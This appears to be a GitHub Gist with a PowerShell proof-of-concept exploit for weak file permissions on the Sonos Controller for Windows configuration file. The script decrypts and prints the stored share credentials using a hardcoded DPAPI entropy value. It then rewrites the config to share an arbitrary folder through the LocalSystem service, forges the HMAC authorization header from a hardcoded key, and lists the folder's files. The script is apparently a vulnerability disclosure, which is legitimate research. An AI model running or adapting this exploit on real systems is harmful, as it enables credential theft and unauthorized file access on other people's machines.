Last active
April 3, 2019 18:35
-
-
Save ykoster/8b6fa529c85ebe33b7a491ee45ba3940 to your computer and use it in GitHub Desktop.
Sonos Controller for Windows ShareConfig.xml weak file permissions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# load System.Security for HMAC-SHA256 | |
Add-Type -AssemblyName System.Security | |
$ip = "127.0.0.1" | |
$port = 3445 | |
$configPath = "$env:ProgramData\Sonos,_Inc\runtime\ShareConfig.xml" | |
$sharePath = "$env:windir\media" | |
# the entropy value is hardcoded in the service and used for encrypting and decrypting the password of the Sonos user (DPAPI) | |
$entropy = [System.Text.Encoding]::Unicode.GetBytes("e51bd1fb-2783-4261-95b8-027afc69e8af"); | |
# the hash key is a hardcoded value used by the service to authenticated the GET/HEAD request | |
$hashKey = [Byte[]] (111, 228, 49, 131, 143, 228, 5, 2, 87, 208, 9, 17, 255, 208, 1, 0, 240, 228, 5, 160, 15, 229, 161, 3, 63, 209, 1, 4, 18, 210, 9, 0) | |
# see if we have a config file, if not create it and start the service | |
if(-Not (Test-Path $configPath -PathType Leaf)) | |
{ | |
Write-Host "[-] $configPath doesn't exist" | |
Exit | |
} | |
# read the configuration file and decrypt the password | |
Write-Host "[-] Trying to parse $configPath" | |
[xml]$shareConfig = Get-Content $configPath | |
$username = $shareConfig.shares.credentials.username | |
$password = $shareConfig.shares.credentials.password | |
$password = [System.Convert]::FromBase64String($password) | |
$password = [Security.Cryptography.ProtectedData]::Unprotect($password, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine) | |
$password = [System.Text.Encoding]::Unicode.GetString($password) | |
Write-Host "[+] Username: $username" | |
Write-Host "[+] Password: $password" | |
foreach($share in $shareConfig.SelectNodes("//shares/*")) | |
{ | |
if(!$share.Name.Equals("credentials")) | |
{ | |
Write-Host "[+] Share" $share.Name "["$share.Path"]" | |
} | |
} | |
# the config file and parent directory has weak NTFS permissions | |
# we can overwrite this file and share any folder on the system (the service runs as LocalSystem) | |
Write-Host "[-] Backing up $configPath" | |
Rename-Item -Path $configPath -NewName $configPath".O" | |
$newUsername = "PoC" | |
$newPassword = [System.Text.Encoding]::Unicode.GetBytes("P@ssw0rd") | |
$newPassword = [Security.Cryptography.ProtectedData]::Protect($newPassword, $entropy, [Security.Cryptography.DataProtectionScope]::LocalMachine) | |
$newPassword = [System.Convert]::ToBase64String($newPassword) | |
Write-Host "[-] Creating new configuration file" | |
$newConfig = @" | |
<?xml version="1.0" encoding="utf-8"?> | |
<shares> | |
<share name="Share" path="$sharePath" /> | |
<credentials> | |
<username>$newUsername</username> | |
<password>$newPassword</password> | |
</credentials> | |
</shares> | |
"@ | |
Set-Content -Path $configPath -Value $newConfig -Encoding UTF8 | |
try | |
{ | |
$url = "/Share" | |
# calculate the Authetication header | |
$hmac = New-Object System.Security.Cryptography.HMACSHA256 | |
$hmac.key = $hashKey | |
$auth = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes("$url${newUsername}P@ssw0rd")) | |
$auth = [System.BitConverter]::ToString($auth).Replace('-', '') | |
# call the local webservice | |
$web = New-Object Net.WebClient | |
$web.Headers.Add("Authorization", "Hash $auth") | |
[xml]$dirListing = $web.DownloadString("http://${ip}:$port$url") | |
Write-Host "[-] Listing files from $sharePath" | |
foreach($entry in $dirListing.SelectNodes("//readdir/*")) | |
{ | |
if($entry.Name.Equals("file")) | |
{ | |
Write-Host "[+] $($entry.'#text')" | |
} | |
} | |
} | |
finally | |
{ | |
# restore config | |
Write-Host "[-] Restoring $configPath" | |
Remove-Item -Path $configPath | |
Rename-Item -Path $configPath".O" -NewName $configPath | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment